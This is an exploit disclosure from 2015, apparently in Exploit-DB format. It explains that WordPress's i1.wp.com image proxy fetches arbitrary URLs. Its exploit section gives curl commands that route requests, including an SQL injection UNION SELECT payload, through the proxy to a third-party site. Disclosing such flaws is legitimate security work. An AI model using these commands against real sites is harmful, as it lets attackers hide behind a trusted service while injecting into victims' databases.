Exploit Title: Wordpress (i1.wp.com) Abuse of Functionality
Date: Nov 12th 2015
WASC: WASC-42
Exploit Author: Andrea Menin (github.com/theMiddleBlue/)
Video: https://www.youtube.com/watch?v=6g2khjbflmA


Description:
------------
Abuse of Functionality is an attack technique that uses
a web site's own features and functionality to attack
itself or others. Abuse of Functionality can be described
as the abuse of an application's intended functionality
to perform an undesirable outcome.

An attacker could use Wordpress website to execute
any kind of http request to third website.
In this video i show you how to execute a SQL Injection
from i1.wp.com to my website.

i1.wp.com is used to show images inside user's blog
For example, here you can find a pic of my friend Carlton:
https://i1.wp.com/d236bkdxj385sg.cloudfront.net/wp-content/uploads/2015/04/Thug-Life-500x450.jpg

the problem is that wp.com make an http request for all
url specified, not only for images. So you can use wp
ip address for make requests or execute attacks.


Exploit:
--------
Just visit https://i1.wp.com. You will always get the error:
"We cannot complete this request, remote data was invalid"
but wordpress make the http requesy anyway...

curl "https://i1.wp.com/<destination-website>"

for example:
curl "https://i1.wp.com/www.example.com/index.php%3Fid=123+AND+1=1+UNION+SELECT+..."


Video:
------
https://www.youtube.com/watch?v=SgFHt37p_Lw


--
Andrea (aka theMiddle) Menin
menin.andrea [at] gmail.com
github.com/theMiddleBlue/